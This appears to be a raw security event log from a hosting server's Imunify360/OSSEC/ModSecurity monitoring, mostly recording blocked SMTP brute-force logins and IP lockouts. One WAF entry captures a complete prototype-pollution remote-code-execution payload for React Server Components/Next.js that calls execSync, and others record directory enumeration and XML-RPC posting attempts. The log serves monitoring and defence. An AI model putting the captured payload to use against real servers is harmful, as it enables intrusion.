Jun 13 07:16:18 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.144 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.144
country_id: 130758
description:
2026-06-13 07:16:20 dovecot_login authenticator failed for H=(localhost) [81.30.98.144]:30738: 535 Incorrect authentication data (set_id=trial@ns5.netmaster.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.49
country_id: 130758
description:
Jun 13 07:16:30 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.49 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.49
country_id: 130758
description:
2026-06-13 07:16:32 dovecot_login authenticator failed for H=(localhost) [81.30.98.49]:22708: 535 Incorrect authentication data (set_id=tuto@ns5.netmaster.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.44
country_id: 130758
description:
Jun 13 07:17:11 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.44 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.44
country_id: 130758
description:
2026-06-13 07:16:17 dovecot_login authenticator failed for H=(localhost) [81.30.98.44]:38836: 535 Incorrect authentication data (set_id=agana@ns5.netmaster.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.49
country_id: 130758
description:
2026-06-13 07:17:17 dovecot_login authenticator failed for H=(localhost) [81.30.98.49]:36254: 535 Incorrect authentication data (set_id=receive@ns5.netmaster.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.144
country_id: 130758
description:
Jun 13 07:17:25 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.144 has been locked due to Imunify RBL


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 81.30.98.144
country_id: 130758
description:
2026-06-13 07:17:17 dovecot_login authenticator failed for H=(localhost) [81.30.98.144]:22334: 535 Incorrect authentication data (set_id=ivette@ns5.netmaster.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.44
country_id: 130758
description:
Jun 13 07:17:19 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.44 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.44
country_id: 130758
description:
2026-06-13 07:17:21 dovecot_login authenticator failed for H=(localhost) [81.30.98.44]:30658: 535 Incorrect authentication data (set_id=egg@ns5.netmaster.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.144
country_id: 130758
description:
2026-06-13 07:17:27 dovecot_login authenticator failed for H=(localhost) [81.30.98.144]:59618: 535 Incorrect authentication data (set_id=lynne@ns5.netmaster.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.49
country_id: 130758
description:
Jun 13 07:17:36 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.49 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.49
country_id: 130758
description:
2026-06-13 07:18:17 dovecot_login authenticator failed for H=(localhost) [81.30.98.49]:57348: 535 Incorrect authentication data (set_id=congreso@ns5.netmaster.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.144
country_id: 130758
description:
2026-06-13 07:18:24 dovecot_login authenticator failed for H=(localhost) [81.30.98.144]:56440: 535 Incorrect authentication data (set_id=tasaki@ns5.netmaster.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.44
country_id: 130758
description:
2026-06-13 07:18:24 dovecot_login authenticator failed for H=(localhost) [81.30.98.44]:22400: 535 Incorrect authentication data (set_id=rehber@ns5.netmaster.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.44
country_id: 130758
description:
Jun 13 07:18:22 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.44 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.144
country_id: 130758
description:
Jun 13 07:18:22 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.144 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.49
country_id: 130758
description:
Jun 13 07:18:16 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.49 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.44
country_id: 130758
description:
2026-06-13 07:19:22 dovecot_login authenticator failed for H=(localhost) [81.30.98.44]:36750: 535 Incorrect authentication data (set_id=void@ns5.netmaster.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.144
country_id: 130758
description:
Jun 13 07:19:22 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.144 has been locked due to Imunify RBL


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 205.169.39.42
country_id: 6252001
description:
205.169.39.42 - - [13/Jun/2026:07:20:16 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9935512&pdata=https%253A%252F%252Fc2ie.tg&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781335215 HTTP/2.0" 302 0 c2ie.tg "https://c2ie.tg/" "Mozilla/5.0 (iPhone; CPU iPhone OS 10_3_1 like Mac OS X) AppleWebKit/603.1.30 (KHTML, like Gecko) Version/10.0 Mobile/14E304 Safari/602.1" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:205.169.39.42


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.49
country_id: 130758
description:
Jun 13 07:19:18 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.49 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.49
country_id: 130758
description:
2026-06-13 07:19:20 dovecot_login authenticator failed for H=(localhost) [81.30.98.49]:49212: 535 Incorrect authentication data (set_id=crowd@ns5.netmaster.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.44
country_id: 130758
description:
Jun 13 07:19:20 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.44 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.144
country_id: 130758
description:
2026-06-13 07:19:24 dovecot_login authenticator failed for H=(localhost) [81.30.98.144]:47816: 535 Incorrect authentication data (set_id=rosemary@ns5.netmaster.tg)


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 81.30.98.144
country_id: 130758
description:
2026-06-13 07:19:26 dovecot_login authenticator failed for H=(localhost) [81.30.98.144]:42542: 535 Incorrect authentication data (set_id=rosemary@ns5.netmaster.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.49
country_id: 130758
description:
Jun 13 07:20:18 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.49 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.44
country_id: 130758
description:
Jun 13 07:20:20 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.44 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.49
country_id: 130758
description:
2026-06-13 07:20:20 dovecot_login authenticator failed for H=(localhost) [81.30.98.49]:58556: 535 Incorrect authentication data (set_id=qwerty@ns5.netmaster.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.144
country_id: 130758
description:
Jun 13 07:20:26 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.144 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.44
country_id: 130758
description:
2026-06-13 07:20:22 dovecot_login authenticator failed for H=(localhost) [81.30.98.44]:28636: 535 Incorrect authentication data (set_id=new2@ns5.netmaster.tg)


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 205.169.39.24
country_id: 6252001
description:
205.169.39.24 - - [13/Jun/2026:07:20:26 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6395293&pdata=http%253A%252F%252Fc2ie.tg&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781335225 HTTP/1.1" 302 0 c2ie.tg "http://c2ie.tg/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.5938.132 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:205.169.39.24


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.144
country_id: 130758
description:
2026-06-13 07:20:28 dovecot_login authenticator failed for H=(localhost) [81.30.98.144]:34122: 535 Incorrect authentication data (set_id=mimi@ns5.netmaster.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.144
country_id: 130758
description:
2026-06-13 07:21:20 dovecot_login authenticator failed for H=(localhost) [81.30.98.144]:52912: 535 Incorrect authentication data (set_id=chan@ns5.netmaster.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.44
country_id: 130758
description:
2026-06-13 07:21:20 dovecot_login authenticator failed for H=(localhost) [81.30.98.44]:33528: 535 Incorrect authentication data (set_id=ubnt@ns5.netmaster.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.49
country_id: 130758
description:
Jun 13 07:21:24 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.49 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.49
country_id: 130758
description:
2026-06-13 07:21:26 dovecot_login authenticator failed for H=(localhost) [81.30.98.49]:50522: 535 Incorrect authentication data (set_id=nextgen@ns5.netmaster.tg)


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 81.30.98.44
country_id: 130758
description:
2026-06-13 07:21:55 dovecot_login authenticator failed for H=(localhost) [81.30.98.44]:29462: 535 Incorrect authentication data (set_id=kumm@ns5.netmaster.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.144
country_id: 130758
description:
Jun 13 07:21:18 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.144 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.44
country_id: 130758
description:
Jun 13 07:21:18 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.44 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.44
country_id: 130758
description:
Jun 13 07:22:22 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.44 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.144
country_id: 130758
description:
2026-06-13 07:22:22 dovecot_login authenticator failed for H=(localhost) [81.30.98.144]:44824: 535 Incorrect authentication data (set_id=valley@ns5.netmaster.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.44
country_id: 130758
description:
2026-06-13 07:22:24 dovecot_login authenticator failed for H=(localhost) [81.30.98.44]:25328: 535 Incorrect authentication data (set_id=vpnadmin@ns5.netmaster.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.49
country_id: 130758
description:
Jun 13 07:22:30 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.49 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.49
country_id: 130758
description:
2026-06-13 07:22:32 dovecot_login authenticator failed for H=(localhost) [81.30.98.49]:42426: 535 Incorrect authentication data (set_id=md-93@ns5.netmaster.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 8.210.147.41
country_id: 1819730
description:
Jun 13 07:22:34 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 8.210.147.41 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.144
country_id: 130758
description:
Jun 13 07:22:20 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.144 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.44
country_id: 130758
description:
2026-06-13 07:23:30 dovecot_login authenticator failed for H=(localhost) [81.30.98.44]:17136: 535 Incorrect authentication data (set_id=yschoi@ns5.netmaster.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.49
country_id: 130758
description:
Jun 13 07:23:31 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.49 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.144
country_id: 130758
description:
Jun 13 07:23:23 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.144 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.144
country_id: 130758
description:
2026-06-13 07:23:25 dovecot_login authenticator failed for H=(localhost) [81.30.98.144]:36416: 535 Incorrect authentication data (set_id=vps10@ns5.netmaster.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.44
country_id: 130758
description:
Jun 13 07:23:28 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.44 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.49
country_id: 130758
description:
2026-06-13 07:23:33 dovecot_login authenticator failed for H=(localhost) [81.30.98.49]:34274: 535 Incorrect authentication data (set_id=wwwrun@ns5.netmaster.tg)


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 81.30.98.49
country_id: 130758
description:
2026-06-13 07:24:10 dovecot_login authenticator failed for H=(localhost) [81.30.98.49]:12572: 535 Incorrect authentication data (set_id=hire@ns5.netmaster.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.144
country_id: 130758
description:
2026-06-13 07:24:16 dovecot_login authenticator failed for H=(localhost) [81.30.98.144]:10148: 535 Incorrect authentication data (set_id=chu-tin@ns5.netmaster.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.49
country_id: 130758
description:
2026-06-13 07:24:35 dovecot_login authenticator failed for H=(localhost) [81.30.98.49]:25910: 535 Incorrect authentication data (set_id=ksm@ns5.netmaster.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.44
country_id: 130758
description:
Jun 13 07:24:21 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.44 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.44
country_id: 130758
description:
2026-06-13 07:24:23 dovecot_login authenticator failed for H=(localhost) [81.30.98.44]:41732: 535 Incorrect authentication data (set_id=pannello@ns5.netmaster.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.144
country_id: 130758
description:
Jun 13 07:24:28 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.144 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.49
country_id: 130758
description:
Jun 13 07:24:33 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.49 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 88.82.205.134
country_id: 2510769
description:
Jun 13 07:24:49 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 88.82.205.134 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 211.198.128.204
country_id: 1835841
description:
Jun 13 07:24:43 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 211.198.128.204 has been locked due to Imunify RBL


plugin: modsec
rule: 77674285
name: IM360 WAF: Track upload attempt
abuser: 43.130.26.57
country_id: 6252001
domain: togodailynews.tg
description:
IM360 WAF: Track upload attempt||MVN:ARGS:page_title||MV:Evala 2025\xc2\xa0: Renforcement de capacit\xc3\xa9s des acteurs de l\xe2\x80\x99h\xc3\xb4tellerie et de restauration \xc3\xa0 Kara||RSV:8.15||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 5.61.202.27
country_id: 2510769
description:
Jun 13 07:25:54 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 5.61.202.27 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.144
country_id: 130758
description:
Jun 13 07:25:29 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.144 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.49
country_id: 130758
description:
Jun 13 07:25:15 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.49 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.44
country_id: 130758
description:
Jun 13 07:25:21 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.44 has been locked due to Imunify RBL


plugin: modsec
rule: 77093094
abuser: 16.170.254.245
country_id: 2661886
domain: afrique-distribution.net
description:
IM360 WAF: RCE via prototype pollution in React Server Components < 19.0.1/19.1.2/19.2.1 or Next.js < 15.0.5/16.0.7 (CVE-2025-55182, CVE-2025-66478)||MVN:ARGS:0||MV:{\"then\": \"$1:__proto__:then\", \"status\": \"resolved_model\", \"reason\": -1, \"value\": \"{\\\"then\\\":\\\"$B1337\\\"}\", \"_response\": {\"_prefix\": \"var res=process.mainModule.require('child_process').execSync('echo $((41*271)) | base64 -w 0').toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'),{digest: `NEXT_REDIRECT;push;/login?a=${res};307;`});\", \"_chunks\": \"$Q2\", \"_formData\": {\"get\": \"$1:constructor:constructor\"}}}||RSV:8.15||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.44
country_id: 130758
description:
2026-06-13 07:25:23 dovecot_login authenticator failed for H=(localhost) [81.30.98.44]:33494: 535 Incorrect authentication data (set_id=electron@ns5.netmaster.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.144
country_id: 130758
description:
2026-06-13 07:25:31 dovecot_login authenticator failed for H=(localhost) [81.30.98.144]:19326: 535 Incorrect authentication data (set_id=brooklyn@ns5.netmaster.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.49
country_id: 130758
description:
2026-06-13 07:25:17 dovecot_login authenticator failed for H=(localhost) [81.30.98.49]:39512: 535 Incorrect authentication data (set_id=en@ns5.netmaster.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.142
country_id: 130758
description:
2026-06-13 07:26:11 dovecot_login authenticator failed for H=(localhost) [81.30.98.142]:26526: 535 Incorrect authentication data (set_id=you'd@ns5.netmaster.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.62
country_id: 130758
description:
Jun 13 07:26:18 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.62 has been locked due to Imunify RBL


plugin: modsec
rule: 77350457
name: IM360 WAF: Bad file extension
abuser: 16.170.254.245
country_id: 2661886
domain: afrique-distribution.net
description:
IM360 WAF: Bad file extension||RSV:8.15||T:APACHE||MVN:REQUEST_FILENAME||MV:/phpinfo.php.bak||User:sadis||


plugin: modsec
rule: 77142201
name: IM360 WAF: Possible enumeration of sensitive data (dirb)
abuser: 16.170.254.245
country_id: 2661886
domain: afrique-distribution.net
description:
IM360 WAF: Possible enumeration of sensitive data (dirb)||MVN:REQUEST_BASENAME||RSV:8.15||T:APACHE||MV:phpinfo.php~||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.158
country_id: 130758
description:
2026-06-13 07:26:21 dovecot_login authenticator failed for H=(localhost) [81.30.98.158]:20448: 535 Incorrect authentication data (set_id=media3@ns5.netmaster.tg)


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 81.30.98.44
country_id: 130758
description:
2026-06-13 07:26:23 dovecot_login authenticator failed for H=(localhost) [81.30.98.44]:25220: 535 Incorrect authentication data (set_id=cgb@ns5.netmaster.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.144
country_id: 130758
description:
Jun 13 07:26:27 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.144 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.158
country_id: 130758
description:
Jun 13 07:26:19 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.158 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.49
country_id: 130758
description:
Jun 13 07:26:16 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.49 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.144
country_id: 130758
description:
2026-06-13 07:26:16 dovecot_login authenticator failed for H=(localhost) [81.30.98.144]:57676: 535 Incorrect authentication data (set_id=indicadores@ns5.netmaster.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.44
country_id: 130758
description:
Jun 13 07:26:21 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.44 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.44
country_id: 130758
description:
2026-06-13 07:26:16 dovecot_login authenticator failed for H=(localhost) [81.30.98.44]:47944: 535 Incorrect authentication data (set_id=cgb@ns5.netmaster.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.62
country_id: 130758
description:
2026-06-13 07:26:20 dovecot_login authenticator failed for H=(localhost) [81.30.98.62]:44616: 535 Incorrect authentication data (set_id=textile@ns5.netmaster.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.142
country_id: 130758
description:
2026-06-13 07:26:24 dovecot_login authenticator failed for H=(localhost) [81.30.98.142]:17642: 535 Incorrect authentication data (set_id=you'd@ns5.netmaster.tg)


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 62.60.148.90
country_id: 3017382
domain: sia-togo.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:Turbolte.sia-togo.tg||ServerName:sia-togo.tg||Method:metaWeblog.newPost||BlogID:0||TitleSHA:5899e64a0e4402ee083651f8aa18fd374f962b5e||Title:350e764943735ab2||RSV:8.15||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.142
country_id: 130758
description:
Jun 13 07:26:53 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.142 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.49
country_id: 130758
description:
2026-06-13 07:26:16 dovecot_login authenticator failed for H=(localhost) [81.30.98.49]:60426: 535 Incorrect authentication data (set_id=rashid@ns5.netmaster.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.142
country_id: 130758
description:
Jun 13 07:27:18 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.142 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.62
country_id: 130758
description:
2026-06-13 07:27:19 dovecot_login authenticator failed for H=(localhost) [81.30.98.62]:36566: 535 Incorrect authentication data (set_id=vatanabea@ns5.netmaster.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.144
country_id: 130758
description:
2026-06-13 07:27:19 dovecot_login authenticator failed for H=(localhost) [81.30.98.144]:43812: 535 Incorrect authentication data (set_id=esa@ns5.netmaster.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.49
country_id: 130758
description:
Jun 13 07:27:20 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.49 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.44
country_id: 130758
description:
Jun 13 07:27:21 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.44 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.44
country_id: 130758
description:
2026-06-13 07:27:23 dovecot_login authenticator failed for H=(localhost) [81.30.98.44]:39886: 535 Incorrect authentication data (set_id=origin@ns5.netmaster.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.62
country_id: 130758
description:
Jun 13 07:27:17 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.62 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.49
country_id: 130758
description:
2026-06-13 07:27:22 dovecot_login authenticator failed for H=(localhost) [81.30.98.49]:23166: 535 Incorrect authentication data (set_id=projetos@ns5.netmaster.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.158
country_id: 130758
description:
Jun 13 07:27:24 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.158 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.158
country_id: 130758
description:
2026-06-13 07:27:26 dovecot_login authenticator failed for H=(localhost) [81.30.98.158]:11392: 535 Incorrect authentication data (set_id=subscription@ns5.netmaster.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.144
country_id: 130758
description:
Jun 13 07:27:17 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.144 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.142
country_id: 130758
description:
2026-06-13 07:27:20 dovecot_login authenticator failed for H=(localhost) [81.30.98.142]:18394: 535 Incorrect authentication data (set_id=number@ns5.netmaster.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.158
country_id: 130758
description:
Jun 13 07:28:24 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.158 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.158
country_id: 130758
description:
2026-06-13 07:28:26 dovecot_login authenticator failed for H=(localhost) [81.30.98.158]:41966: 535 Incorrect authentication data (set_id=bediener@ns5.netmaster.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.49
country_id: 130758
description:
Jun 13 07:28:16 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.49 has been locked due to Imunify RBL


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 81.30.98.62
country_id: 130758
description:
